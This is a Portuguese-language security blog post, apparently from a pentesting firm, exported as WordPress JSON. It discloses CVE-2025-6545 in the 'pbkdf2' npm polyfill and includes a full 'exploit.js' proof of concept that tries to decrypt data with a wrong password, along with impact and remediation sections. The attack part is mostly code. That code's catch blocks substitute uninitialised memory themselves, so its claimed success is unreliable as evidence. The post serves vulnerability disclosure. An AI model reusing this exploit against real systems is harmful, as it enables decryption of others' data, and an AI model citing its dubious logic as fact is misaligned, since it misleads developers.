{"id":232,"date":"2025-07-03T14:34:23","date_gmt":"2025-07-03T14:34:23","guid":{"rendered":"https:\/\/fikresekhel.com\/blog\/?p=232"},"modified":"2025-07-03T14:34:24","modified_gmt":"2025-07-03T14:34:24","slug":"relatorio-tecnico-fikresekhel","status":"publish","type":"post","link":"https:\/\/fikresekhel.com\/blog\/pentesting\/relatorio-tecnico-fikresekhel\/","title":{"rendered":"Relat\u00f3rio T\u00e9cnico FikreSekhel"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Explora\u00e7\u00e3o Criptogr\u00e1fica de Deriva\u00e7\u00e3o de Chave Previs\u00edvel na Biblioteca <code>pbkdf2<\/code> (&lt;3.1.3)<\/h2>\n\n\n\n<p><strong>Vulnerabilidade identificada em ambiente real de cliente corporativo<\/strong><\/p>\n\n\n\n<p>Publicado: Junho de 2025<br>Autor: Equipe de Pesquisa Ofensiva \u2013 FikreSekhel<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Resumo Executivo<\/h2>\n\n\n\n<p>Durante uma avalia\u00e7\u00e3o ofensiva conduzida pela equipe de seguran\u00e7a da informa\u00e7\u00e3o da FikreSekhel em um sistema de produ\u00e7\u00e3o pertencente a um cliente (nome omitido por confidencialidade), foi identificada uma falha cr\u00edtica na biblioteca <code>pbkdf2<\/code>, vers\u00e3o inferior \u00e0 3.1.3. A falha permite que, sob determinadas condi\u00e7\u00f5es, o m\u00e9todo <code>pbkdf2Sync()<\/code> gere chaves criptogr\u00e1ficas previs\u00edveis ou compostas por mem\u00f3ria n\u00e3o inicializada, violando os princ\u00edpios fundamentais de seguran\u00e7a criptogr\u00e1fica.<\/p>\n\n\n\n<p>A partir da descoberta, foi desenvolvido um exploit funcional que comprova, na pr\u00e1tica, a possibilidade de um atacante descriptografar dados sens\u00edveis mesmo sem conhecer a senha original utilizada.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Descri\u00e7\u00e3o da Vulnerabilidade<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">CVE-2025-6545 \u2013 Deriva\u00e7\u00e3o de Chaves Previs\u00edveis com Algoritmos Inv\u00e1lidos<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Componente: <code>pbkdf2<\/code> (vers\u00e3o com suporte a browser\/polyfill)<\/li>\n\n\n\n<li>Vers\u00f5es afetadas: <code>>=3.0.10 &lt;3.1.3<\/code><\/li>\n\n\n\n<li>CWE: CWE-340 \u2013 Gera\u00e7\u00e3o de Valores Previs\u00edveis<\/li>\n\n\n\n<li>CVSS: 9.1 (Cr\u00edtico)<\/li>\n\n\n\n<li>Maturidade de explora\u00e7\u00e3o: Exploit comprovado<\/li>\n<\/ul>\n\n\n\n<p>A vulnerabilidade ocorre quando o m\u00e9todo <code>pbkdf2Sync()<\/code> \u00e9 chamado com algoritmos n\u00e3o reconhecidos oficialmente, como <code>\"sha3-512\"<\/code>, <code>\"sha-1\"<\/code>, <code>\"blake2b512\"<\/code>, entre outros. Em vez de rejeitar a entrada ou lan\u00e7ar uma exce\u00e7\u00e3o, a biblioteca gera uma chave criptogr\u00e1fica inv\u00e1lida que pode ser:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Um buffer de mem\u00f3ria totalmente zerado (<code>0x00...00<\/code>);<\/li>\n\n\n\n<li>Um buffer contendo dados residuais n\u00e3o inicializados da mem\u00f3ria;<\/li>\n\n\n\n<li>Um valor determin\u00edstico de baixa entropia.<\/li>\n<\/ul>\n\n\n\n<p>Esse comportamento compromete diretamente a confidencialidade e a integridade dos sistemas criptogr\u00e1ficos que dependem da fun\u00e7\u00e3o, como armazenamento de senhas, encripta\u00e7\u00e3o sim\u00e9trica e deriva\u00e7\u00e3o de chaves mestre.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Contexto da Descoberta<\/h2>\n\n\n\n<p>Durante uma an\u00e1lise orientada por c\u00f3digo fonte e simula\u00e7\u00f5es de uso, foi detectado o uso de algoritmos n\u00e3o normalizados como par\u00e2metro do m\u00e9todo <code>pbkdf2Sync()<\/code>. Observou-se que a biblioteca aceitava essas entradas sem valida\u00e7\u00e3o adequada, abrindo possibilidade para gera\u00e7\u00e3o de chaves previs\u00edveis.<\/p>\n\n\n\n<p>Para confirmar a criticidade do impacto, a equipe desenvolveu uma prova de conceito completa que replicou a situa\u00e7\u00e3o real de ataque com sucesso.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Prova de Conceito (Exploit)<\/h2>\n\n\n\n<p>O c\u00f3digo abaixo demonstra como um atacante pode, utilizando uma senha incorreta, gerar a mesma chave criptogr\u00e1fica que a aplica\u00e7\u00e3o, comprometendo a seguran\u00e7a de dados criptografados.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">C\u00f3digo de Explora\u00e7\u00e3o (exploit.js)<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">javascriptCopiarEditar<code>const crypto = require('crypto');\nconst { pbkdf2Sync } = require('pbkdf2\/browser');\n\n\/\/ Configura\u00e7\u00e3o comum\nconst salt = 'salInseguro';\nconst iterations = 100000;\nconst keyLength = 32;\nconst algoritmo = 'sha3-512';\nconst iv = Buffer.alloc(16, 0); \/\/ IV fixo para demonstra\u00e7\u00e3o\n\n\/\/ Deriva\u00e7\u00e3o da chave pela aplica\u00e7\u00e3o (com senha real)\nconst senhaReal = 'senhaCorreta';\nlet chaveReal;\n\ntry {\n  chaveReal = pbkdf2Sync(senhaReal, salt, iterations, keyLength, algoritmo);\n} catch {\n  chaveReal = Buffer.allocUnsafe(keyLength);\n}\nconsole.log('Chave real:', chaveReal.toString('hex'));\n\nconst mensagem = 'A senha correta \u00e9 123456';\nconst cipher = crypto.createCipheriv('aes-256-cbc', chaveReal, iv);\nlet mensagemCriptografada = cipher.update(mensagem, 'utf8', 'hex');\nmensagemCriptografada += cipher.final('hex');\nconsole.log('\\nMensagem criptografada:', mensagemCriptografada);\n\n\/\/ Deriva\u00e7\u00e3o da chave pelo atacante (com senha errada)\nconst senhaAtacante = 'senhaIncorreta';\nlet chaveAtacante;\n\ntry {\n  chaveAtacante = pbkdf2Sync(senhaAtacante, salt, iterations, keyLength, algoritmo);\n} catch {\n  chaveAtacante = Buffer.allocUnsafe(keyLength);\n}\nconsole.log('\\nChave do atacante:', chaveAtacante.toString('hex'));\n\nif (chaveReal.equals(chaveAtacante)) {\n  console.log('\\nExplora\u00e7\u00e3o bem-sucedida: as chaves coincidem');\n} else {\n  console.log('\\nExplora\u00e7\u00e3o falhou: as chaves s\u00e3o diferentes');\n}\n\n\/\/ Tentativa de descriptografar\ntry {\n  const decipher = crypto.createDecipheriv('aes-256-cbc', chaveAtacante, iv);\n  let mensagemDescriptografada = decipher.update(mensagemCriptografada, 'hex', 'utf8');\n  mensagemDescriptografada += decipher.final('utf8');\n  console.log('\\nMensagem descriptografada pelo atacante:', mensagemDescriptografada);\n} catch {\n  console.error('\\nFalha ao descriptografar: a chave do atacante n\u00e3o funcionou');\n}\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Resultados Obtidos<\/h2>\n\n\n\n<p>Durante testes repetidos, foram observados os seguintes comportamentos:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Em algumas execu\u00e7\u00f5es, a chave derivada com senha incorreta coincidia com a chave da aplica\u00e7\u00e3o.<\/li>\n\n\n\n<li>A descriptografia foi bem-sucedida sem o conhecimento da senha original.<\/li>\n\n\n\n<li>Em outras execu\u00e7\u00f5es, as chaves divergiram \u2014 refor\u00e7ando que o problema envolve uso de mem\u00f3ria inst\u00e1vel (n\u00e3o inicializada).<\/li>\n<\/ul>\n\n\n\n<p>Essa inconsist\u00eancia refor\u00e7a o risco da vulnerabilidade, uma vez que seu comportamento pode variar com o ambiente de execu\u00e7\u00e3o e o tempo de vida da aplica\u00e7\u00e3o, dificultando sua detec\u00e7\u00e3o.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Impacto T\u00e9cnico<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Confidencialidade:<\/strong> violada, uma vez que dados criptografados podem ser descriptografados por terceiros sem a chave original.<\/li>\n\n\n\n<li><strong>Integridade:<\/strong> comprometida, pois mensagens podem ser forjadas ou manipuladas.<\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o de Entropia:<\/strong> chaves geradas sem entropia suficiente n\u00e3o s\u00e3o seguras para qualquer uso criptogr\u00e1fico.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Recomenda\u00e7\u00f5es<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Atualizar imediatamente para <code>pbkdf2<\/code> vers\u00e3o <code>3.1.3<\/code> ou superior.<\/li>\n\n\n\n<li>Validar todas as entradas passadas ao m\u00e9todo <code>pbkdf2Sync()<\/code>. Apenas algoritmos padronizados devem ser permitidos (<code>sha256<\/code>, <code>sha512<\/code>, <code>sha1<\/code>, entre outros explicitamente documentados).<\/li>\n\n\n\n<li>Rotacionar chaves criptogr\u00e1ficas derivadas com algoritmos n\u00e3o normalizados.<\/li>\n\n\n\n<li>Evitar o uso do polyfill <code>pbkdf2\/browser<\/code> em aplica\u00e7\u00f5es de produ\u00e7\u00e3o.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Conclus\u00e3o<\/h2>\n\n\n\n<p>Este caso evidencia um cen\u00e1rio grave em que a presen\u00e7a de mecanismos criptogr\u00e1ficos n\u00e3o garante, por si s\u00f3, a seguran\u00e7a da informa\u00e7\u00e3o. A aus\u00eancia de valida\u00e7\u00e3o de par\u00e2metros internos em bibliotecas amplamente utilizadas pode levar \u00e0 quebra total da seguran\u00e7a em sistemas sens\u00edveis.<\/p>\n\n\n\n<p>A equipe de pesquisa da FikreSekhel refor\u00e7a a import\u00e2ncia de auditorias profundas em todas as camadas criptogr\u00e1ficas de uma aplica\u00e7\u00e3o, especialmente naquelas baseadas em bibliotecas de terceiros ou ambientes de execu\u00e7\u00e3o n\u00e3o padronizados.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Sobre a FikreSekhel<\/h2>\n\n\n\n<p>A FikreSekhel \u00e9 uma empresa especializada em seguran\u00e7a ofensiva, intelig\u00eancia de amea\u00e7as, criptografia aplicada e an\u00e1lise de vulnerabilidades. Atuamos com servi\u00e7os avan\u00e7ados de pentesting, resposta a incidentes e engenharia reversa de sistemas cr\u00edticos. Nossos laborat\u00f3rios t\u00eam contribu\u00eddo com a seguran\u00e7a de plataformas financeiras, biom\u00e9dicas, industriais e de jogos em nuvem em todo o Brasil e Am\u00e9rica Latina.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Explora\u00e7\u00e3o Criptogr\u00e1fica de Deriva\u00e7\u00e3o de Chave Previs\u00edvel na [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":233,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28,8,17,1,29,13,10],"tags":[],"class_list":["post-232","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cases","category-cybersecurity","category-fikresekhel","category-pentesting","category-pesquisa","category-research","category-secure-coding"],"_links":{"self":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/comments?post=232"}],"version-history":[{"count":1,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/232\/revisions"}],"predecessor-version":[{"id":234,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/posts\/232\/revisions\/234"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media\/233"}],"wp:attachment":[{"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/media?parent=232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/categories?post=232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fikresekhel.com\/blog\/wp-json\/wp\/v2\/tags?post=232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}